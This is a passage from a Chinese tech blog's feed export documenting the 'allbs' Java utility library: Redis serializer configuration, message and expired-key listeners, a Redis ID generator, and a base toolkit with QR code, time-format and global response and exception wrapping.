org.springframework.data.redis.core.RedisTemplate;</span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.serializer.Jackson2JsonRedisSerializer;</span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.serializer.JdkSerializationRedisSerializer;</span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.serializer.RedisSerializer;</span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.serializer.StringRedisSerializer;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 RedisTemplateConfig</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/30 14:49</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="meta">@AutoConfigureBefore(RedisAutoConfiguration.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisTemplateConfig</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用于设置redis基础操作的序列化方式</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> redisConnectionFactory</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RedisTemplate&lt;Object, Object&gt; <span class="title function_">redisTemplate</span><span class="params">(RedisConnectionFactory redisConnectionFactory)</span> &#123;</span><br><span class="line">        RedisTemplate&lt;Object, Object&gt; redisTemplate = <span class="keyword">new</span> <span class="title class_">RedisTemplate</span>&lt;&gt;();</span><br><span class="line">        redisTemplate.setKeySerializer(<span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>());</span><br><span class="line">        redisTemplate.setHashKeySerializer(<span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>());</span><br><span class="line">        <span class="comment">// 使用Jackson2JsonRedisSerialize 替换默认jdk序列化明文储存</span></span><br><span class="line">        redisTemplate.setValueSerializer(<span class="keyword">new</span> <span class="title class_">Jackson2JsonRedisSerializer</span>&lt;&gt;(Object.class));</span><br><span class="line">        redisTemplate.setHashValueSerializer(<span class="keyword">new</span> <span class="title class_">Jackson2JsonRedisSerializer</span>&lt;&gt;(Object.class));</span><br><span class="line">        redisTemplate.setConnectionFactory(redisConnectionFactory);</span><br><span class="line">        <span class="keyword">return</span> redisTemplate;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用于设置缓存中的序列化方法</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> redisConnectionFactory</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Bean(name = &quot;stringKeyRedisTemplate&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> RedisTemplate&lt;Object, Object&gt; <span class="title function_">stringKeyRedisTemplate</span><span class="params">(RedisConnectionFactory redisConnectionFactory)</span> &#123;</span><br><span class="line">        RedisTemplate&lt;Object, Object&gt; redisTemplate = <span class="keyword">new</span> <span class="title class_">RedisTemplate</span>&lt;&gt;();</span><br><span class="line">        redisTemplate.setKeySerializer(<span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>());</span><br><span class="line">        redisTemplate.setHashKeySerializer(<span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>());</span><br><span class="line">        <span class="comment">// 使用Jackson2JsonRedisSerialize 替换默认序列化会明文储存</span></span><br><span class="line">        redisTemplate.setValueSerializer(<span class="keyword">new</span> <span class="title class_">JdkSerializationRedisSerializer</span>());</span><br><span class="line">        redisTemplate.setHashValueSerializer(<span class="keyword">new</span> <span class="title class_">JdkSerializationRedisSerializer</span>());</span><br><span class="line">        redisTemplate.setConnectionFactory(redisConnectionFactory);</span><br><span class="line">        <span class="keyword">return</span> redisTemplate;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><h3 id="消息监听">消息监听</h3><div class="note warning simple"><p>只限于轻量化使用，大规模场景请使用rocketmq、rabbitmq等</p></div><h4 id="方法一">方法一</h4><div class="note info simple"><p>自定义topic, 继承KeyspaceEventMessageListener类并实现ApplicationEventPublisherAware接口。重写doRegister、doHandleMessage、setApplicationEventPublisher方法。多个topic监听可以定义一个Topic List并放到addMessageListener中去即可。</p></div><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomMessageListener</span> <span class="keyword">extends</span> <span class="title class_">KeyspaceEventMessageListener</span> <span class="keyword">implements</span> <span class="title class_">ApplicationEventPublisherAware</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Topic</span> <span class="variable">KEYEVENT_EXPIRED_TOPIC</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChannelTopic</span>(<span class="string">&quot;自定义的topic名称&quot;</span>);</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@Nullable</span></span><br><span class="line">    <span class="keyword">private</span> ApplicationEventPublisher publisher;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">CustomMessageListener</span><span class="params">(RedisMessageListenerContainer listenerContainer)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(listenerContainer);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">doRegister</span><span class="params">(RedisMessageListenerContainer listenerContainer)</span> &#123;</span><br><span class="line">        listenerContainer.addMessageListener(<span class="built_in">this</span>, KEYEVENT_EXPIRED_TOPIC);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">doHandleMessage</span><span class="params">(Message message)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.publishEvent(<span class="keyword">new</span> <span class="title class_">RedisKeyExpiredEvent</span>(message.getBody()));</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">publishEvent</span><span class="params">(RedisKeyExpiredEvent event)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.publisher != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="built_in">this</span>.publisher.publishEvent(event);</span><br><span class="line">        &#125;</span><br><span class="line"> </span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setApplicationEventPublisher</span><span class="params">(ApplicationEventPublisher applicationEventPublisher)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.publisher = applicationEventPublisher;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="方法二">方法二</h4><h5 id="接收方式">接收方式</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomMessageListenerHandle</span> &#123;</span><br><span class="line"> </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 方法功能:</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> redisConnectionFactory</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> org.springframework.data.redis.listener.RedisMessageListenerContainer</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@date</span> 2021/3/29 15:03</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RedisMessageListenerContainer <span class="title function_">redisContainer</span><span class="params">(RedisConnectionFactory redisConnectionFactory)</span> &#123;</span><br><span class="line">        <span class="type">RedisMessageListenerContainer</span> <span class="variable">container</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RedisMessageListenerContainer</span>();</span><br><span class="line">        container.setConnectionFactory(redisConnectionFactory);</span><br><span class="line">        container.addMessageListener((message, bytes) -&gt; &#123;</span><br><span class="line">            log.info(<span class="string">&quot;接收到监听消息&quot;</span>);</span><br><span class="line">            <span class="comment">// 业务处理</span></span><br><span class="line">        &#125;, <span class="keyword">new</span> <span class="title class_">ChannelTopic</span>(<span class="string">&quot;customMq&quot;</span>));</span><br><span class="line">        <span class="keyword">return</span> container;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h5 id="发送方式">发送方式</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">redisTemplate.convertAndSend(<span class="string">&quot;自定义的topic名称&quot;</span>, <span class="string">&quot;发送内容&quot;</span>);</span><br></pre></td></tr></table></figure><h3 id="过期key监听">过期key监听</h3><div class="note info simple"><p>继承KeyExpirationEventMessageListener重写onMessage方法即可</p></div><div class="note warning simple"><p>过期key和消息监听服务如果集群部署，或者多个服务配置了相同的监听配置，会每个服务都消费一次！！注意业务场景实际使用</p></div><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">KeyExpirationListener</span> <span class="keyword">extends</span> <span class="title class_">KeyExpirationEventMessageListener</span> &#123;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">KeyExpirationListener</span><span class="params">(RedisMessageListenerContainer listenerContainer)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(listenerContainer);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onMessage</span><span class="params">(Message message, <span class="meta">@Nullable</span> <span class="type">byte</span>[] pattern)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> message.toString();</span><br><span class="line">        System.out.println(<span class="string">&quot;监听到key:&quot;</span> + key + <span class="string">&quot;过期&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="发号器-使用redis实现-用于自增的企业编码、站点编码等">发号器,使用redis实现,用于自增的企业编码、站点编码等</h3><h4 id="注入">注入</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Resource</span></span><br><span class="line"><span class="keyword">private</span> IdGeneratorUtil idGeneratorUtil;</span><br></pre></td></tr></table></figure><h4 id="使用-2">使用</h4><h5 id="生成id（每日重置自增序列）generateYMDId-String-key-int-length">生成id（每日重置自增序列）generateYMDId(String key, int length)</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">    * 生成id（每日重置自增序列）</span></span><br><span class="line"><span class="comment">    * 格式：日期 + 指定位位自增数</span></span><br><span class="line"><span class="comment">    * 如：20210804000001</span></span><br><span class="line"><span class="comment">    *</span></span><br><span class="line"><span class="comment">    * <span class="doctag">@param</span> key    储存序号的redis key</span></span><br><span class="line"><span class="comment">    * <span class="doctag">@param</span> length 生成的后缀长度</span></span><br><span class="line"><span class="comment">    * <span class="doctag">@return</span> 日期 + 指定位位自增数序号</span></span><br><span class="line"><span class="comment">    */</span></span><br></pre></td></tr></table></figure><h5 id="生成指定开头的自增序列-generatePreId-String-key-String-prefix-int-length">生成指定开头的自增序列 generatePreId(String key, String prefix, int length)</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 生成指定开头的自增序列</span></span><br><span class="line"><span class="comment">     * 格式: 指定字符 + 指定位自增数</span></span><br><span class="line"><span class="comment">     * 如W00001</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key    redis 储存的key</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> prefix 指定的开头</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> length 格式化长度</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 指定字符 + 指定位自增数</span></span><br><span class="line"><span class="comment">     */</span></span><br></pre></td></tr></table></figure><h5 id="生成指定开头的自增序列-generatePreIdStep-String-key-String-prefix-int-length-int-step">生成指定开头的自增序列  generatePreIdStep(String key, String prefix, int length, int step)</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 生成指定开头的自增序列 </span></span><br><span class="line"><span class="comment">     * 格式: 指定字符 + 指定位自增数</span></span><br><span class="line"><span class="comment">     * 如W00001</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key    redis 储存的key</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> prefix 指定的开头</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> length 格式化长度</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 指定字符 + 指定位自增数</span></span><br><span class="line"><span class="comment">     */</span></span><br></pre></td></tr></table></figure><h5 id="生成指定开头的自增序列-generatePreId-String-key-String-prefix-int-length-int-step">生成指定开头的自增序列 generatePreId(String key, String prefix, int length, int step)</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 生成指定开头的自增序列</span></span><br><span class="line"><span class="comment">     * 格式: 指定字符 + 指定位自增数</span></span><br><span class="line"><span class="comment">     * 如W00001</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key    redis 储存的key</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> prefix 指定的开头</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> length 格式化长度</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> step   所在步长</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 指定字符 + 指定位自增数</span></span><br><span class="line"><span class="comment">     */</span></span><br></pre></td></tr></table></figure><h5 id="指定带有前缀的发号器初始值-initGenerate-String-key-String-prefix-int-initialValue">指定带有前缀的发号器初始值 initGenerate(String key, String prefix, int initialValue)</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 初始化发号器默认值</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key          redis 的key</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> prefix       序列化的编码起始字符串</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> initialValue 初始值</span></span><br><span class="line"><span class="comment">     */</span></span><br></pre></td></tr></table></figure><h5 id="指定发号器初始值-initGenerate-String-key-int-initialValue">指定发号器初始值 initGenerate(String key, int initialValue)</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 指定发号器初始值</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key          redis 的key</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> initialValue 初始值</span></span><br><span class="line"><span class="comment">     */</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">allbs工具类说明 - 二级缓存</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="redis" scheme="https://blog.allbs.cn/tags/redis/"/>
    
    <category term="二级缓存" scheme="https://blog.allbs.cn/tags/%E4%BA%8C%E7%BA%A7%E7%BC%93%E5%AD%98/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - 基础工具包</title>
    <link href="https://blog.allbs.cn/posts/3335/"/>
    <id>https://blog.allbs.cn/posts/3335/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.9</td></tr><tr><td>spring-boot-starter-web</td><td>2.7.9</td></tr><tr><td>spring-boot-starter-webflux</td><td>2.7.9</td></tr><tr><td>spring-boot-starter-undertow</td><td>2.7.9</td></tr><tr><td>javase</td><td>3.4.1</td></tr><tr><td>allbs-common</td><td>2.0.0</td></tr><tr><td>spring-boot-starter-validation</td><td>2.7.9</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-core<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.0.2<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-core:2.0.2&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-core:2.0.2&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="启动配置打印">启动配置打印</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/9321dc34a81d1916efdcc5c755d2c7cd.png" alt="image-20220729102320096"></p><h3 id="二维码工具">二维码工具</h3><h4 id="生成二维码">生成二维码</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">QrCode.form(<span class="string">&quot;这是二维码内容&quot;</span>)</span><br><span class="line">    <span class="comment">// 默认 512，可以不设置</span></span><br><span class="line">    .size(<span class="number">512</span>)</span><br><span class="line">    <span class="comment">// 默认白色，可以不设置</span></span><br><span class="line">    .backGroundColor(Color.WHITE)</span><br><span class="line">    <span class="comment">// 默认黑色，可以不设置</span></span><br><span class="line">    .foreGroundColor(Color.BLACK)</span><br><span class="line">    <span class="comment">// 默认 UTF_8，可以不设置</span></span><br><span class="line">    .encode(Charsets.UTF_8)</span><br><span class="line">    <span class="comment">// 默认 png，可以不设置</span></span><br><span class="line">    .imageFormat(<span class="string">&quot;png&quot;</span>)</span><br><span class="line">    <span class="comment">// 删除白边，默认为 true，可以不设置</span></span><br><span class="line">    .deleteMargin(<span class="literal">true</span>)</span><br><span class="line">    <span class="comment">// 设置二维码 logo，支持 URL 远程图片、文件和流</span></span><br><span class="line">    .logo(<span class="string">&quot;D:/qrcode/avater.jpg&quot;</span>)</span><br><span class="line">    <span class="comment">// 写出，同类方法有 toImage、toStream、toBytes</span></span><br><span class="line">    .toFile(<span class="string">&quot;D:/qrcode/qrCode.png&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/27a6d84a5b484ba7e7d817144338f26c.gif" alt=""></p><h4 id="读取二维码">读取二维码</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">text</span> <span class="operator">=</span> QrCode.read(<span class="string">&quot;D:/qrcode/qrCode.png&quot;</span>);</span><br><span class="line">System.out.println(text);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/d72734afe462f9acf391c3fee954adcb.png" alt="image-20220808105117676"></p><h3 id="java8时间转换">java8时间转换</h3><p>所有返回类型为java8时间的LocalDateTime、LocalDate等转为常用时间字符串，不走接口时或者使用map时将不会进行转换，需要手动转换成需要的格式</p><p>如，该工具包会自动将<code>yyyy-MM-dd'T'HH:mm:ss</code>转为<code>yyyy-MM-dd HH:mm:ss</code>输出，同时自动将<code>yyyy-MM-dd HH:mm:ss</code>转为<code>yyyy-MM-dd'T'HH:mm:ss</code>输入</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/d6e7a18ebdf16170c51f05e649d725d7.gif" alt=""></p><h3 id="全局异常统一返回结果">全局异常统一返回结果</h3><p>启动类添加注解 <mark class="hl-label red">@AllbsExceptionAdvice</mark></p><p>该包会将异常统一包装为R返回</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/3fe9ecc645b4221ce486827334786932.png" alt="image-20220808131618097"></p><h4 id="记录业务异常">记录业务异常</h4><p>添加<code>AllbsErrorEvent</code>监听</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cn.allbs.common.constant.StringPool;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.core.advice.AllbsErrorEvent;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.bean.BeanUtil;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.event.EventListener;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.annotation.Order;</span><br><span class="line"><span class="keyword">import</span> org.springframework.scheduling.annotation.Async;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ExceptionRecordListener</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="meta">@Order</span></span><br><span class="line">    <span class="meta">@EventListener(&#123;AllbsErrorEvent.class&#125;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">saveErrorLog</span><span class="params">(AllbsErrorEvent event)</span> &#123;</span><br><span class="line">        <span class="comment">// 可直接将event内容保存数据库</span></span><br><span class="line">        Map&lt;String, Object&gt; map = BeanUtil.beanToMap(event);</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">sb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">        map.forEach((k, v) -&gt; sb.append(k).append(StringPool.COLON).append(v).append(<span class="string">&quot;\n&quot;</span>));</span><br><span class="line">        log.error(sb.toString());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/c000017da3de6eaeeeafa8ee9ba12f9e.png" alt="image-20220808133547183"></p><h3 id="全局结果统一返回">全局结果统一返回</h3><p>启动类添加注解 <mark class="hl-label red">@AllbsResponseAdvice</mark></p><p>该包会将所有结果统一包装为R返回，如果已经使用了R包装则忽略</p><h4 id="配置中ignore节点下的uri会忽略包装，直接返回原始结果">配置中ignore节点下的uri会忽略包装，直接返回原始结果</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">ignore:</span></span><br><span class="line">  <span class="attr">urls:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/swagger-resources</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/v2/api-docs</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/core/ignoreTestR</span></span><br></pre></td></tr></table></figure><h4 id="方法上添加注解-IgnoreAdvice">方法上添加注解<code>@IgnoreAdvice</code></h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/a7fe093252b14e834d039b0e9141eeb8.png" alt="image-20230327150549333"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/ff828f7626a091bc150e05c6bfb2cc48.gif" alt=""></p>]]></content>
    
    
    <summary type="html">allbs工具类说明 - 基础工具包</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
